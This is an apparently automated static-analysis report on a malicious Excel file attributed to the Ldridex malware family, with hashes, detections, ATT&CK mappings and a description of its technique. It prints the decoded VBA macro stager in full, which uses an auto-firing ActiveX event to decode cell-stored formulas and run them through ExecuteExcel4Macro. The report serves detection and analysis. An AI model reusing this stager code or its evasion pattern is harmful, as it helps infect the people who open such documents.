Ldridex — Office (OOXML) malware analysis

Static analysis result for SHA-256 cbbb3ffd6f20060d…

MALICIOUS

Office (OOXML)

34.7 KB Created: 2020-09-07 12:45:06 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-15
MD5: 4db7a504dc9c6a13df809a13c055bb85 SHA-1: f3167044681297e31c639dc29ae6278011faa975 SHA-256: cbbb3ffd6f20060d8176954afb0f26fb220a281fd0e49facd02be8f597f24645
200 Risk Score

Malware Insights

Ldridex · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is identified as malicious by ClamAV with the signature Xls.Malware.Ldridex-9768648-0, indicating it belongs to the Ldridex family. Heuristics confirm the presence of VBA macros and an ActiveX event that launches decoded Excel4 macros, a common technique for Ldridex. The VBA script contains obfuscated functions that appear to be involved in deobfuscating and executing further code, likely a second-stage payload.

Heuristics 3

  • ClamAV: Xls.Malware.Ldridex-9768648-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Ldridex-9768648-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    VBA code attached to an auto-firing ActiveX/UserForm control event (e.g. _Layout/_Change/_Painted) decodes a string with Replace/Split/Join/StrReverse/Chr and passes the recovered formula text to ExecuteExcel4Macro. This bridges VBA event activation into XLM formula execution to call Win32 APIs / drop payloads while evading AutoOpen and Shell keyword detection — a high-confidence macro stager, not a specific Office parser CVE.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2634 bytes
SHA-256: df2184af9d731c8a94076667e0c0d2e52d28892695a0cdb537772719d397f326
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "hprint, 1, 0, MSForms, Frame"
Function mhj()
Dim a() As String, l As Integer, celly As Integer
d = ""
p = 567789
cellx = p
For h = 1 To 5
celly = 0
l = 0
a = 0
For X = 0 To l - 1
d = d
Next
cellx = cellx - 1
v = d
d = ""
Next
End Function
Function mk()
Dim a() As String, l As Integer, celly As Integer
d = ""
p = -8867565
cellx = p
cellx = cellx + 1
pop = d
d = ""
End Function
Sub ready6()
ActiveWorkbook.Close 0
End Sub
Function recalculate()
Dim rss As String, f As Integer
E = 921: f = 964
i = Int((f - E + 1) * Rnd + E)
For j = 1 To 4
If IsEmpty(Cells(i, j)) = 0 Then
rss = Cells(i, j)
f = j
Exit For
End If
Next
recalculate = ttitle(rss, f)
End Function


Function ttitle(nn As String, bn As Integer) As String
Dim ks() As Byte
ks = StrConv(nn, vbFromUnicode)
For Each s In ks
ttitle = ttitle & Chr(s + bn)
Next
End Function
Sub prepairPrint()
Dim Z As String
w = 6
Application.WindowState = xlMinimized
ut = Qa(Int((8 - w + 1) * Rnd + w))
imm = Qa(Int((8 - w + 1) * Rnd + w))
eer = Qa(Int((8 - w + 1) * Rnd + w))
For c = 460 To 464
Do
   fors = ttitle(Cells(c, 1), Int((4 - 1 + 1) * Rnd + 1))
   Loop Until Right(fors, 1) = ")"
   Z = fors
   ExecuteExcel4Macro (morepage("$", eer, """X", """" & recalculate, morepage(";", ut, "'", imm, Z)))
   fors = "": Z = ""
   Next
End Sub
Function morepage(ay, ji, yy, hg, y As String)
c = Replace(y, ay, ji): morepage = Replace(c, yy, hg): c = ""
End Function





Function Qa(io As Long) As String

Dim i As Integer, iTemp As Integer, bOK As Boolean, iLength As Integer


For i = 1 To io
    Do
        iTemp = Int((122 - 48 + 1) * Rnd + 48)
        Select Case iTemp
        Case 48 To 57, 65 To 90, 97 To 122: bOK = True
        Case Else: bOK = False
        End Select
    Loop Until bOK = True
    bOK = False
    strTemp = strTemp & Chr(iTemp)

Randomize (Timer)

Next i
Qa = strTemp
End Function

Private Sub hprint_Layout()
prepairPrint
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 31232 bytes
SHA-256: 8a8325c94dd88e0a2a716b79ce0fa162e1f0ab213150909642e7c6071f76be9a
Detection
ClamAV: Xls.Malware.Ldridex-9768648-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 3436 bytes
SHA-256: f958042f020e7087a3e001211f198648447bd28674d355ad3a19c8f3690a6170

Open this report in the interactive analyzer, or submit your own file for analysis.